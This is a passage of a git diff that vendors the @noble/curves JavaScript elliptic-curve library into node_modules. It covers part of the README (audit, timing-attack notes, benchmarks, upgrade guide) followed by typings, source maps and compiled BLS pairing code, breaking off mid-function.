[PDF](https://github.com/trailofbits/publications/blob/master/reviews/2023-01-ryanshea-noblecurveslibrary-securityreview.pdf). + The audit has been funded by [Ryan Shea](https://www.shea.io). + Audit scope was abstract modules `curve`, `hash-to-curve`, `modular`, `poseidon`, `utils`, `weierstrass`, + and top-level modules `_shortw_utils` and `secp256k1`. + See [changes since v0.7.3 audit](https://github.com/paulmillr/noble-curves/compare/0.7.3..main). + +2. The library has been fuzzed by [Guido Vranken's cryptofuzz](https://github.com/guidovranken/cryptofuzz). + You can run the fuzzer by yourself to check it. +3. [Timing attack](https://en.wikipedia.org/wiki/Timing_attack) considerations: + _JIT-compiler_ and _Garbage Collector_ make "constant time" extremely hard to + achieve in a scripting language. Which means _any other JS library can't have + constant-timeness_. Even statically typed Rust, a language without GC, + [makes it harder to achieve constant-time](https://www.chosenplaintext.ca/open-source/rust-timing-shield/security) + for some cases. If your goal is absolute security, don't use any JS lib — including bindings to native ones. + Use low-level libraries & languages. Nonetheless we're targetting algorithmic constant time. + +We consider infrastructure attacks like rogue NPM modules very important; +that's why it's crucial to minimize the amount of 3rd-party dependencies & native bindings. +If your app uses 500 dependencies, any dep could get hacked and you'll be +downloading malware with every `npm install`. Our goal is to minimize this attack vector. +As for devDependencies used by the library: + +- `@scure` base, bip32, bip39 (used in tests), micro-bmark (benchmark), micro-should (testing) + are developed by us and follow the same practices such as: minimal library size, auditability, + signed releases +- prettier (linter), fast-check (property-based testing), typescript versions + are locked and rarely updated. Every update is checked with `npm-diff`. + The packages are big, which makes it hard to audit their source code thoroughly and fully. +- They are only used if you clone the git repo and want to add some feature to it. End-users won't use them. + +As for key generation, we're deferring to built-in +[crypto.getRandomValues](https://developer.mozilla.org/en-US/docs/Web/API/Crypto/getRandomValues) +which is considered cryptographically secure (CSPRNG). + +## Speed + +Benchmark results on Apple M2 with node v20: + +``` +secp256k1 +init x 68 ops/sec @ 14ms/op +getPublicKey x 6,750 ops/sec @ 148μs/op +sign x 5,206 ops/sec @ 192μs/op +verify x 880 ops/sec @ 1ms/op +getSharedSecret x 536 ops/sec @ 1ms/op +recoverPublicKey x 852 ops/sec @ 1ms/op +schnorr.sign x 685 ops/sec @ 1ms/op +schnorr.verify x 908 ops/sec @ 1ms/op + +p256 +init x 38 ops/sec @ 26ms/op +getPublicKey x 6,530 ops/sec @ 153μs/op +sign x 5,074 ops/sec @ 197μs/op +verify x 626 ops/sec @ 1ms/op + +p384 +init x 17 ops/sec @ 57ms/op +getPublicKey x 2,883 ops/sec @ 346μs/op +sign x 2,358 ops/sec @ 424μs/op +verify x 245 ops/sec @ 4ms/op + +p521 +init x 9 ops/sec @ 109ms/op +getPublicKey x 1,516 ops/sec @ 659μs/op +sign x 1,271 ops/sec @ 786μs/op +verify x 123 ops/sec @ 8ms/op + +ed25519 +init x 54 ops/sec @ 18ms/op +getPublicKey x 10,269 ops/sec @ 97μs/op +sign x 5,110 ops/sec @ 195μs/op +verify x 1,049 ops/sec @ 952μs/op + +ed448 +init x 19 ops/sec @ 51ms/op +getPublicKey x 3,775 ops/sec @ 264μs/op +sign x 1,771 ops/sec @ 564μs/op +verify x 351 ops/sec @ 2ms/op + +ecdh +├─x25519 x 1,466 ops/sec @ 682μs/op +├─secp256k1 x 539 ops/sec @ 1ms/op +├─p256 x 511 ops/sec @ 1ms/op +├─p384 x 199 ops/sec @ 5ms/op +├─p521 x 103 ops/sec @ 9ms/op +└─x448 x 548 ops/sec @ 1ms/op + +bls12-381 +init x 36 ops/sec @ 27ms/op +getPublicKey 1-bit x 973 ops/sec @ 1ms/op +getPublicKey x 970 ops/sec @ 1ms/op +sign x 55 ops/sec @ 17ms/op +verify x 39 ops/sec @ 25ms/op +pairing x 106 ops/sec @ 9ms/op +aggregatePublicKeys/8 x 129 ops/sec @ 7ms/op +aggregatePublicKeys/32 x 34 ops/sec @ 28ms/op +aggregatePublicKeys/128 x 8 ops/sec @ 112ms/op +aggregatePublicKeys/512 x 2 ops/sec @ 446ms/op +aggregatePublicKeys/2048 x 0 ops/sec @ 1778ms/op +aggregateSignatures/8 x 50 ops/sec @ 19ms/op +aggregateSignatures/32 x 13 ops/sec @ 74ms/op +aggregateSignatures/128 x 3 ops/sec @ 296ms/op +aggregateSignatures/512 x 0 ops/sec @ 1180ms/op +aggregateSignatures/2048 x 0 ops/sec @ 4715ms/op + +hash-to-curve +hash_to_field x 91,600 ops/sec @ 10μs/op +secp256k1 x 2,373 ops/sec @ 421μs/op +p256 x 4,310 ops/sec @ 231μs/op +p384 x 1,664 ops/sec @ 600μs/op +p521 x 807 ops/sec @ 1ms/op +ed25519 x 3,088 ops/sec @ 323μs/op +ed448 x 1,247 ops/sec @ 801μs/op +``` + +## Contributing & testing + +1. Clone the repository +2. `npm install` to install build dependencies like TypeScript +3. `npm run build` to compile TypeScript code +4. `npm run test` will execute all main tests + +## Upgrading + +Previously, the library was split into single-feature packages +[noble-secp256k1](https://github.com/paulmillr/noble-secp256k1), +[noble-ed25519](https://github.com/paulmillr/noble-ed25519) and +[noble-bls12-381](https://github.com/paulmillr/noble-bls12-381). + +Curves continue their original work. The single-feature packages changed their +direction towards providing minimal 4kb implementations of cryptography, +which means they have less features. + +Upgrading from noble-secp256k1 2.0 or noble-ed25519 2.0: no changes, libraries are compatible. + +Upgrading from noble-secp256k1 1.7: + +- `getPublicKey` + - now produce 33-byte compressed signatures by default + - to use old behavior, which produced 65-byte uncompressed keys, set + argument `isCompressed` to `false`: `getPublicKey(priv, false)` +- `sign` + - is now sync; use `signAsync` for async version + - now returns `Signature` instance with `{ r, s, recovery }` properties + - `canonical` option was renamed to `lowS` + - `recovered` option has been removed because recovery bit is always returned now + - `der` option has been removed. There are 2 options: + 1. Use compact encoding: `fromCompact`, `toCompactRawBytes`, `toCompactHex`. + Compact encoding is simply a concatenation of 32-byte r and 32-byte s. + 2. If you must use DER encoding, switch to noble-curves (see above). +- `verify` + - `strict` option was renamed to `lowS` +- `getSharedSecret` + - now produce 33-byte compressed signatures by default + - to use old behavior, which produced 65-byte uncompressed keys, set + argument `isCompressed` to `false`: `getSharedSecret(a, b, false)` +- `recoverPublicKey(msg, sig, rec)` was changed to `sig.recoverPublicKey(msg)` +- `number` type for private keys have been removed: use `bigint` instead +- `Point` (2d xy) has been changed to `ProjectivePoint` (3d xyz) +- `utils` were split into `utils` (same api as in noble-curves) and + `etc` (`hmacSha256Sync` and others) + +Upgrading from [@noble/ed25519](https://github.com/paulmillr/noble-ed25519) 1.7: + +- Methods are now sync by default +- `bigint` is no longer allowed in `getPublicKey`, `sign`, `verify`. Reason: ed25519 is LE, can lead to bugs +- `Point` (2d xy) has been changed to `ExtendedPoint` (xyzt) +- `Signature` was removed: just use raw bytes or hex now +- `utils` were split into `utils` (same api as in noble-curves) and + `etc` (`sha512Sync` and others) +- `getSharedSecret` was moved to `x25519` module +- `toX25519` has been moved to `edwardsToMontgomeryPub` and `edwardsToMontgomeryPriv` methods + +Upgrading from [@noble/bls12-381](https://github.com/paulmillr/noble-bls12-381): + +- Methods and classes were renamed: + - PointG1 -> G1.Point, PointG2 -> G2.Point + - PointG2.fromSignature -> Signature.decode, PointG2.toSignature -> Signature.encode +- Fp2 ORDER was corrected + +## Resources + +- [Learning fast elliptic-curve cryptography](https://paulmillr.com/posts/noble-secp256k1-fast-ecc/) +- EdDSA + - [A Deep dive into Ed25519 Signatures](https://cendyne.dev/posts/2022-03-06-ed25519-signatures.html) + - [Ed25519 Deep Dive Addendum](https://cendyne.dev/posts/2022-09-11-ed25519-deep-dive-addendum.html) + - [It’s 255:19AM. Do you know what your validation criteria are?](https://hdevalence.ca/blog/2020-10-04-its-25519am) + - [Taming the many EdDSAs](https://csrc.nist.gov/csrc/media/Presentations/2023/crclub-2023-03-08/images-media/20230308-crypto-club-slides--taming-the-many-EdDSAs.pdf) + that describes concepts of Strong UnForgeability under Chosen Message Attacks and Strongly Binding Signatures + - [Cofactor Explained: Clearing Elliptic Curves’ dirty little secret](https://loup-vaillant.fr/tutorials/cofactor) + - [Surrounded by Elligators](https://loup-vaillant.fr/articles/implementing-elligator) +- Pairings and BLS + - [BLS signatures for busy people](https://gist.github.com/paulmillr/18b802ad219b1aee34d773d08ec26ca2) + - [BLS12-381 for the rest of us](https://hackmd.io/@benjaminion/bls12-381) + - [Key concepts of pairings](https://medium.com/@alonmuroch_65570/bls-signatures-part-2-key-concepts-of-pairings-27a8a9533d0c) + - Pairing over bls12-381: + [fields](https://research.nccgroup.com/2020/07/06/pairing-over-bls12-381-part-1-fields/), + [curves](https://research.nccgroup.com/2020/07/13/pairing-over-bls12-381-part-2-curves/), + [pairings](https://research.nccgroup.com/2020/08/13/pairing-over-bls12-381-part-3-pairing/) + - [Estimating the bit security of pairing-friendly curves](https://research.nccgroup.com/2022/02/03/estimating-the-bit-security-of-pairing-friendly-curves/) + +### Demos + +- [Elliptic Curve Calculator](https://paulmillr.com/noble): add / multiply points, sign messages +- [BLS threshold signatures](https://genthresh.com) + +### Projects using curves + +- HDkey libraries: [scure-bip32](https://github.com/paulmillr/scure-bip32), [bip32](https://github.com/bitcoinjs/bip32) +- Social networks: [nostr](https://github.com/nbd-wtf/nostr-tools), [bluesky](https://github.com/bluesky-social/atproto) +- Ethereum libraries: + - [ethereum-cryptography](https://github.com/ethereum/js-ethereum-cryptography) + - [micro-eth-signer](https://github.com/paulmillr/micro-eth-signer), + [ethers](https://github.com/ethers-io/ethers.js) (old noble), + [viem.sh](https://viem.sh), + [@ethereumjs](https://github.com/ethereumjs/ethereumjs-monorepo) + - [metamask's eth-sig-util](https://github.com/MetaMask/eth-sig-util) + - [gridplus lattice sdk](https://github.com/GridPlus/lattice-eth2-utils) +- Bitcoin libraries: + - [scure-btc-signer](https://github.com/paulmillr/scure-btc-signer) + - [tapscript](https://github.com/cmdruid/tapscript) +- Solana libraries: [micro-sol-signer](https://github.com/paulmillr/micro-sol-signer), [solana-web3.js](https://github.com/solana-labs/solana-web3.js) +- Other web3 stuff: + - [scure-starknet](https://github.com/paulmillr/scure-starknet) + - [aztec](https://github.com/AztecProtocol/aztec-packages) + - [polkadot.js](https://github.com/polkadot-js/common), [drand-client](https://github.com/drand/drand-client), [moneroj](https://github.com/beritani/moneroj), [tronlib](https://github.com/CoinSpace/tronlib) +- [protonmail](https://github.com/ProtonMail/WebClients) (old noble for now) +- [did-jwt](https://github.com/decentralized-identity/did-jwt), [hpke-js](https://github.com/dajiaji/hpke-js), + [js-libp2p-noise](https://github.com/ChainSafe/js-libp2p-noise) +- [ed25519-keygen](https://github.com/paulmillr/ed25519-keygen) SSH, PGP, TOR key generation +- [secp256k1 compatibility layer](https://github.com/ethereum/js-ethereum-cryptography/blob/2.0.0/src/secp256k1-compat.ts) + for users who want to switch from secp256k1-node or tiny-secp256k1. Allows to see which methods map to corresponding noble code. +- [BLS BBS signatures](https://github.com/Wind4Greg/BBS-Draft-Checks) following [draft-irtf-cfrg-bbs-signatures-latest](https://identity.foundation/bbs-signature/draft-irtf-cfrg-bbs-signatures.html) +- [KZG trusted setup ceremony](https://github.com/dsrvlabs/czg-keremony) +- See [full list of projects on GitHub](https://github.com/paulmillr/noble-curves/network/dependents). + +## License + +The MIT License (MIT) + +Copyright (c) 2022 Paul Miller [(https://paulmillr.com)](https://paulmillr.com) + +See LICENSE file. diff --git a/node_modules/@noble/curves/_shortw_utils.d.ts b/node_modules/@noble/curves/_shortw_utils.d.ts new file mode 100644 index 000000000000..3eb43a816220 --- /dev/null +++ b/node_modules/@noble/curves/_shortw_utils.d.ts @@ -0,0 +1,62 @@ +import { randomBytes } from '@noble/hashes/utils'; +import { CurveType } from './abstract/weierstrass.js'; +import { CHash } from './abstract/utils.js'; +export declare function getHash(hash: CHash): { + hash: CHash; + hmac: (key: Uint8Array, ...msgs: Uint8Array[]) => Uint8Array; + randomBytes: typeof randomBytes; +}; +type CurveDef = Readonly>; +export declare function createCurve(curveDef: CurveDef, defHash: CHash): Readonly<{ + create: (hash: CHash) => import("./abstract/weierstrass.js").CurveFn; + CURVE: Readonly<{ + readonly nBitLength: number; + readonly nByteLength: number; + readonly Fp: import("./abstract/modular.js").IField; + readonly n: bigint; + readonly h: bigint; + readonly hEff?: bigint | undefined; + readonly Gx: bigint; + readonly Gy: bigint; + readonly allowInfinityPoint?: boolean | undefined; + readonly a: bigint; + readonly b: bigint; + readonly allowedPrivateKeyLengths?: readonly number[] | undefined; + readonly wrapPrivateKey?: boolean | undefined; + readonly endo?: { + beta: bigint; + splitScalar: (k: bigint) => { + k1neg: boolean; + k1: bigint; + k2neg: boolean; + k2: bigint; + }; + } | undefined; + readonly isTorsionFree?: ((c: import("./abstract/weierstrass.js").ProjConstructor, point: import("./abstract/weierstrass.js").ProjPointType) => boolean) | undefined; + readonly clearCofactor?: ((c: import("./abstract/weierstrass.js").ProjConstructor, point: import("./abstract/weierstrass.js").ProjPointType) => import("./abstract/weierstrass.js").ProjPointType) | undefined; + readonly hash: CHash; + readonly hmac: (key: Uint8Array, ...messages: Uint8Array[]) => Uint8Array; + readonly randomBytes: (bytesLength?: number | undefined) => Uint8Array; + lowS: boolean; + readonly bits2int?: ((bytes: Uint8Array) => bigint) | undefined; + readonly bits2int_modN?: ((bytes: Uint8Array) => bigint) | undefined; + readonly p: bigint; + }>; + getPublicKey: (privateKey: import("./abstract/utils.js").PrivKey, isCompressed?: boolean | undefined) => Uint8Array; + getSharedSecret: (privateA: import("./abstract/utils.js").PrivKey, publicB: import("./abstract/utils.js").Hex, isCompressed?: boolean | undefined) => Uint8Array; + sign: (msgHash: import("./abstract/utils.js").Hex, privKey: import("./abstract/utils.js").PrivKey, opts?: import("./abstract/weierstrass.js").SignOpts | undefined) => import("./abstract/weierstrass.js").RecoveredSignatureType; + verify: (signature: import("./abstract/utils.js").Hex | { + r: bigint; + s: bigint; + }, msgHash: import("./abstract/utils.js").Hex, publicKey: import("./abstract/utils.js").Hex, opts?: import("./abstract/weierstrass.js").VerOpts | undefined) => boolean; + ProjectivePoint: import("./abstract/weierstrass.js").ProjConstructor; + Signature: import("./abstract/weierstrass.js").SignatureConstructor; + utils: { + normPrivateKeyToScalar: (key: import("./abstract/utils.js").PrivKey) => bigint; + isValidPrivateKey(privateKey: import("./abstract/utils.js").PrivKey): boolean; + randomPrivateKey: () => Uint8Array; + precompute: (windowSize?: number | undefined, point?: import("./abstract/weierstrass.js").ProjPointType | undefined) => import("./abstract/weierstrass.js").ProjPointType; + }; +}>; +export {}; +//# sourceMappingURL=_shortw_utils.d.ts.map \ No newline at end of file diff --git a/node_modules/@noble/curves/_shortw_utils.d.ts.map b/node_modules/@noble/curves/_shortw_utils.d.ts.map new file mode 100644 index 000000000000..974f8daf6163 --- /dev/null +++ b/node_modules/@noble/curves/_shortw_utils.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"_shortw_utils.d.ts","sourceRoot":"","sources":["src/_shortw_utils.ts"],"names":[],"mappings":"AAEA,OAAO,EAAe,WAAW,EAAE,MAAM,qBAAqB,CAAC;AAC/D,OAAO,EAAe,SAAS,EAAE,MAAM,2BAA2B,CAAC;AACnE,OAAO,EAAE,KAAK,EAAE,MAAM,qBAAqB,CAAC;AAG5C,wBAAgB,OAAO,CAAC,IAAI,EAAE,KAAK;;gBAGnB,UAAU,WAAW,UAAU,EAAE;;EAGhD;AAED,KAAK,QAAQ,GAAG,QAAQ,CAAC,IAAI,CAAC,SAAS,EAAE,MAAM,GAAG,MAAM,GAAG,aAAa,CAAC,CAAC,CAAC;AAC3E,wBAAgB,WAAW,CAAC,QAAQ,EAAE,QAAQ,EAAE,OAAO,EAAE,KAAK;mBACtC,KAAK;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;GAE5B"} \ No newline at end of file diff --git a/node_modules/@noble/curves/_shortw_utils.js b/node_modules/@noble/curves/_shortw_utils.js new file mode 100644 index 000000000000..555de44e3633 --- /dev/null +++ b/node_modules/@noble/curves/_shortw_utils.js @@ -0,0 +1,22 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.createCurve = exports.getHash = void 0; +/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */ +const hmac_1 = require("@noble/hashes/hmac"); +const utils_1 = require("@noble/hashes/utils"); +const weierstrass_js_1 = require("./abstract/weierstrass.js"); +// connects noble-curves to noble-hashes +function getHash(hash) { + return { + hash, + hmac: (key, ...msgs) => (0, hmac_1.hmac)(hash, key, (0, utils_1.concatBytes)(...msgs)), + randomBytes: utils_1.randomBytes, + }; +} +exports.getHash = getHash; +function createCurve(curveDef, defHash) { + const create = (hash) => (0, weierstrass_js_1.weierstrass)({ ...curveDef, ...getHash(hash) }); + return Object.freeze({ ...create(defHash), create }); +} +exports.createCurve = createCurve; +//# sourceMappingURL=_shortw_utils.js.map \ No newline at end of file diff --git a/node_modules/@noble/curves/_shortw_utils.js.map b/node_modules/@noble/curves/_shortw_utils.js.map new file mode 100644 index 000000000000..318dfda2fb26 --- /dev/null +++ b/node_modules/@noble/curves/_shortw_utils.js.map @@ -0,0 +1 @@ +{"version":3,"file":"_shortw_utils.js","sourceRoot":"","sources":["src/_shortw_utils.ts"],"names":[],"mappings":";;;AAAA,sEAAsE;AACtE,6CAA0C;AAC1C,+CAA+D;AAC/D,8DAAmE;AAGnE,wCAAwC;AACxC,SAAgB,OAAO,CAAC,IAAW;IACjC,OAAO;QACL,IAAI;QACJ,IAAI,EAAE,CAAC,GAAe,EAAE,GAAG,IAAkB,EAAE,EAAE,CAAC,IAAA,WAAI,EAAC,IAAI,EAAE,GAAG,EAAE,IAAA,mBAAW,EAAC,GAAG,IAAI,CAAC,CAAC;QACvF,WAAW,EAAX,mBAAW;KACZ,CAAC;AACJ,CAAC;AAND,0BAMC;AAGD,SAAgB,WAAW,CAAC,QAAkB,EAAE,OAAc;IAC5D,MAAM,MAAM,GAAG,CAAC,IAAW,EAAE,EAAE,CAAC,IAAA,4BAAW,EAAC,EAAE,GAAG,QAAQ,EAAE,GAAG,OAAO,CAAC,IAAI,CAAC,EAAE,CAAC,CAAC;IAC/E,OAAO,MAAM,CAAC,MAAM,CAAC,EAAE,GAAG,MAAM,CAAC,OAAO,CAAC,EAAE,MAAM,EAAE,CAAC,CAAC;AACvD,CAAC;AAHD,kCAGC"} \ No newline at end of file diff --git a/node_modules/@noble/curves/abstract/bls.d.ts b/node_modules/@noble/curves/abstract/bls.d.ts new file mode 100644 index 000000000000..f6f14ac270a9 --- /dev/null +++ b/node_modules/@noble/curves/abstract/bls.d.ts @@ -0,0 +1,103 @@ +/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */ +/** + * BLS (Barreto-Lynn-Scott) family of pairing-friendly curves. + * Implements BLS (Boneh-Lynn-Shacham) signatures. + * Consists of two curves: G1 and G2: + * - G1 is a subgroup of (x, y) E(Fq) over y² = x³ + 4. + * - G2 is a subgroup of ((x₁, x₂+i), (y₁, y₂+i)) E(Fq²) over y² = x³ + 4(1 + i) where i is √-1 + * - Gt, created by bilinear (ate) pairing e(G1, G2), consists of p-th roots of unity in + * Fq^k where k is embedding degree. Only degree 12 is currently supported, 24 is not. + * Pairing is used to aggregate and verify signatures. + * We are using Fp for private keys (shorter) and Fp₂ for signatures (longer). + * Some projects may prefer to swap this relation, it is not supported for now. + */ +import { AffinePoint } from './curve.js'; +import { IField } from './modular.js'; +import { Hex, PrivKey, CHash } from './utils.js'; +import * as htf from './hash-to-curve.js'; +import { CurvePointsType, ProjPointType as ProjPointType, CurvePointsRes } from './weierstrass.js'; +type Fp = bigint; +export type SignatureCoder = { + fromHex(hex: Hex): ProjPointType; + toRawBytes(point: ProjPointType): Uint8Array; + toHex(point: ProjPointType): string; +}; +export type CurveType = { + G1: Omit, 'n'> & { + mapToCurve: htf.MapToCurve; + htfDefaults: htf.Opts; + }; + G2: Omit, 'n'> & { + Signature: SignatureCoder; + mapToCurve: htf.MapToCurve; + htfDefaults: htf.Opts; + }; + fields: { + Fp: IField; + Fr: IField; + Fp2: IField & { + reim: (num: Fp2) => { + re: bigint; + im: bigint; + }; + multiplyByB: (num: Fp2) => Fp2; + frobeniusMap(num: Fp2, power: number): Fp2; + }; + Fp6: IField; + Fp12: IField & { + frobeniusMap(num: Fp12, power: number): Fp12; + multiplyBy014(num: Fp12, o0: Fp2, o1: Fp2, o4: Fp2): Fp12; + conjugate(num: Fp12): Fp12; + finalExponentiate(num: Fp12): Fp12; + }; + }; + params: { + x: bigint; + r: bigint; + }; + htfDefaults: htf.Opts; + hash: CHash; + randomBytes: (bytesLength?: number) => Uint8Array; +}; +export type CurveFn = { + getPublicKey: (privateKey: PrivKey) => Uint8Array; + sign: { + (message: Hex, privateKey: PrivKey): Uint8Array; + (message: ProjPointType, privateKey: PrivKey): ProjPointType; + }; + verify: (signature: Hex | ProjPointType, message: Hex | ProjPointType, publicKey: Hex | ProjPointType) => boolean; + verifyBatch: (signature: Hex | ProjPointType, messages: (Hex | ProjPointType)[], publicKeys: (Hex | ProjPointType)[]) => boolean; + aggregatePublicKeys: { + (publicKeys: Hex[]): Uint8Array; + (publicKeys: ProjPointType[]): ProjPointType; + }; + aggregateSignatures: { + (signatures: Hex[]): Uint8Array; + (signatures: ProjPointType[]): ProjPointType; + }; + millerLoop: (ell: [Fp2, Fp2, Fp2][], g1: [Fp, Fp]) => Fp12; + pairing: (P: ProjPointType, Q: ProjPointType, withFinalExponent?: boolean) => Fp12; + G1: CurvePointsRes & ReturnType>; + G2: CurvePointsRes & ReturnType>; + Signature: SignatureCoder; + params: { + x: bigint; + r: bigint; + G1b: bigint; + G2b: Fp2; + }; + fields: { + Fp: IField; + Fp2: IField; + Fp6: IField; + Fp12: IField; + Fr: IField; + }; + utils: { + randomPrivateKey: () => Uint8Array; + calcPairingPrecomputes: (p: AffinePoint) => [Fp2, Fp2, Fp2][]; + }; +}; +export declare function bls(CURVE: CurveType): CurveFn; +export {}; +//# sourceMappingURL=bls.d.ts.map \ No newline at end of file diff --git a/node_modules/@noble/curves/abstract/bls.d.ts.map b/node_modules/@noble/curves/abstract/bls.d.ts.map new file mode 100644 index 000000000000..7f110e327960 --- /dev/null +++ b/node_modules/@noble/curves/abstract/bls.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"bls.d.ts","sourceRoot":"","sources":["../src/abstract/bls.ts"],"names":[],"mappings":"AAAA,sEAAsE;AACtE;;;;;;;;;;;GAWG;AACH,OAAO,EAAE,WAAW,EAAE,MAAM,YAAY,CAAC;AACzC,OAAO,EAAE,MAAM,EAAoC,MAAM,cAAc,CAAC;AACxE,OAAO,EAAE,GAAG,EAAE,OAAO,EAAE,KAAK,EAA+B,MAAM,YAAY,CAAC;AAC9E,OAAO,KAAK,GAAG,MAAM,oBAAoB,CAAC;AAC1C,OAAO,EACL,eAAe,EACf,aAAa,IAAI,aAAa,EAC9B,cAAc,EAEf,MAAM,kBAAkB,CAAC;AAE1B,KAAK,EAAE,GAAG,MAAM,CAAC;AAKjB,MAAM,MAAM,cAAc,CAAC,GAAG,IAAI;IAChC,OAAO,CAAC,GAAG,EAAE,GAAG,GAAG,aAAa,CAAC,GAAG,CAAC,CAAC;IACtC,UAAU,CAAC,KAAK,EAAE,aAAa,CAAC,GAAG,CAAC,GAAG,UAAU,CAAC;IAClD,KAAK,CAAC,KAAK,EAAE,aAAa,CAAC,GAAG,CAAC,GAAG,MAAM,CAAC;CAC1C,CAAC;AAEF,MAAM,MAAM,SAAS,CAAC,EAAE,EAAE,GAAG,EAAE,GAAG,EAAE,IAAI,IAAI;IAC1C,EAAE,EAAE,IAAI,CAAC,eAAe,CAAC,EAAE,CAAC,EAAE,GAAG,CAAC,G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C,GAAG,CAAC,KAAK,CAAC,GAAG,EAAE,GAAG,EAAE,GAAG,CAAC,EAAE,CAAC;KACpE,CAAC;CACH,CAAC;AAEF,wBAAgB,GAAG,CAAC,GAAG,EAAE,GAAG,EAAE,IAAI,EAChC,KAAK,EAAE,SAAS,CAAC,EAAE,EAAE,GAAG,EAAE,GAAG,EAAE,IAAI,CAAC,GACnC,OAAO,CAAC,EAAE,EAAE,GAAG,EAAE,GAAG,EAAE,IAAI,CAAC,CAqR7B"} \ No newline at end of file diff --git a/node_modules/@noble/curves/abstract/bls.js b/node_modules/@noble/curves/abstract/bls.js new file mode 100644 index 000000000000..a8bcfc567a20 --- /dev/null +++ b/node_modules/@noble/curves/abstract/bls.js @@ -0,0 +1,239 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.bls = void 0; +const modular_js_1 = require("./modular.js"); +const utils_js_1 = require("./utils.js"); +const htf = require("./hash-to-curve.js"); +const weierstrass_js_1 = require("./weierstrass.js"); +// prettier-ignore +const _2n = BigInt(2), _3n = BigInt(3); +function bls(CURVE) { + // Fields are specific for curve, so for now we'll need to pass them with opts + const { Fp, Fr, Fp2, Fp6, Fp12 } = CURVE.fields; + const BLS_X_LEN = (0, utils_js_1.bitLen)(CURVE.params.x); + // Pre-compute coefficients for sparse multiplication + // Point addition and point double calculations is reused for coefficients + function calcPairingPrecomputes(p) { + const { x, y } = p; + // prettier-ignore + const Qx = x, Qy = y, Qz = Fp2.ONE; + // prettier-ignore + let Rx = Qx, Ry = Qy, Rz = Qz; + let ell_coeff = []; + for (let i = BLS_X_LEN - 2; i >= 0; i--) { + // Double + let t0 = Fp2.sqr(Ry); // Ry² + let t1 = Fp2.sqr(Rz); // Rz² + let t2 = Fp2.multiplyByB(Fp2.mul(t1, _3n)); // 3 * T1 * B + let t3 = Fp2.mul(t2, _3n); // 3 * T2 + let t4 = Fp2.sub(Fp2.sub(Fp2.sqr(Fp2.add(Ry, Rz)), t1), t0); // (Ry + Rz)² - T1 - T0 + ell_coeff.push([ + Fp2.sub(t2, t0), + Fp2.mul(Fp2.sqr(Rx), _3n), + Fp2.neg(t4), // -T4 + ]); + Rx = Fp2.div(Fp2.mul(Fp2.mul(Fp2.sub(t0, t3), Rx), Ry), _2n); // ((T0 - T3) * Rx * Ry) / 2 + Ry = Fp2.sub(Fp2.sqr(Fp2.div(Fp2.add(t0, t3), _2n)), Fp2.mul(Fp2.sqr(t2), _3n)); // ((T0 + T3) / 2)² - 3 * T2² + Rz = Fp2.mul(t0, t4); // T0 * T4 + if ((0, utils_js_1.bitGet)(CURVE.params.x, i)) { + // Addition + let t0 = Fp2.sub(Ry, Fp2.mul(Qy, Rz)); // Ry - Qy * Rz + let t1 = Fp2.sub(Rx, Fp2.mul(Qx, Rz)); // Rx - Qx * Rz + ell_coeff.push([ + Fp2.sub(Fp2.mul(t0, Qx), Fp2.mul(t1, Qy)), + Fp2.neg(t0), + t1, // T1 + ]); + let t2 = Fp2.sqr(t1); // T1² + let t3 = Fp2.mul(t2, t1); // T2 * T1 + let t4 = Fp2.mul(t2, Rx); // T2 * Rx + let t5 = Fp2.add(Fp2.sub(t3, Fp2.mul(t4, _2n)), Fp2.mul(Fp2.sqr(t0), Rz)); // T3 - 2 * T4 + T0² * Rz + Rx = Fp2.mul(t1, t5); // T1 * T5 + Ry = Fp2.sub(Fp2.mul(Fp2.sub(t4, t5), t0), Fp2.mul(t3, Ry)); // (T4 - T5) * T0 - T3 * Ry + Rz = Fp2.mul(Rz, t3); // Rz * T3 + } + } + return ell_coeff; + } + function millerLoop(ell, g1) { + const { x } = CURVE.params; + const Px = g1[0]; + const Py = g1[1]; + let f12 = Fp12.ONE; + for (let j = 0, i = BLS_X_LEN - 2; i >= 0; i--, j++) { + const E = ell[j]; + f12 = Fp12.multiplyBy014(f12, E[0], Fp2.mul(E[1], Px), Fp2.mul(E[2], Py)); + if ((0, utils_js_1.bitGet)(x, i)) { + j += 1; + const F = ell[j]; + f12 = Fp12.multiplyBy014(f12, F[0], Fp2.mul(F[1], Px), Fp2.mul(F[2], Py)); + } + if (i !== 0) + f12 = Fp12.sqr(f12); + } + return Fp12.conjugate(f12); + } + const utils = { + randomPrivateKey: () => { + const length = (0, modular_js_1.getMinHashLength)(Fr.ORDER); + return (0, modular_js_1.mapHashToField)(CURVE.randomBytes(length), Fr.ORDER); + }, + calcPairingPrecomputes, + }; + // Point on G1 curve: (x, y) + const G1_ = (0, weierstrass_js_1.weierstrassPoints)({ n: Fr.ORDER, ...CURVE.G1 }); + const G1 = Object.assign(G1_, htf.createHasher(G1_.ProjectivePoint, CURVE.G1.mapToCurve, { + ...CURVE.htfDefaults, + ...CURVE.G1.htfDefaults, + })); + function pairingPrecomputes(point) { + const p = point; + if (p._PPRECOMPUTES) + return p._PPRECOMPUTES; + p._PPRECOMPUTES = calcPairingPrecomputes(point.toAffine()); + return p._PPRECOMPUTES; + } + // TODO: export + // function clearPairingPrecomputes(point: G2) { + // const p = point as G2 & withPairingPrecomputes; + // p._PPRECOMPUTES = undefined; + // } + // Point on G2 curve (complex numbers): (x₁, x₂+i), (y₁, y₂+i) + const G2_ = (0, weierstrass_js_1.weierstrassPoints)({ n: Fr.ORDER, ...CURVE.G2 }); + const G2 = Object.assign(G2_, htf.createHasher(G2_.ProjectivePoint, CURVE.G2.mapToCurve, { + ...CURVE.htfDefaults, + ...CURVE.G2.htfDefaults, + })); + const { Signature } = CURVE.G2; + // Calculates bilinear pairing + function pairing(Q, P, withFinalExponent = true) { + if (Q.equals(G1.ProjectivePoint.ZERO) || P.equals(G2.ProjectivePoint.ZERO)) + throw new Error('pairing is not available for ZERO point'); + Q.assertValidity(); + P.assertValidity(); + // Performance: 9ms for millerLoop and ~14ms for exp. + const Qa = Q.toAffine(); + const looped = millerLoop(pairingPrecomputes(P), [Qa.x, Qa.y]); + return withFinalExponent ? Fp12.finalExponentiate(looped) : looped; + } + function normP1(point) { + return point instanceof 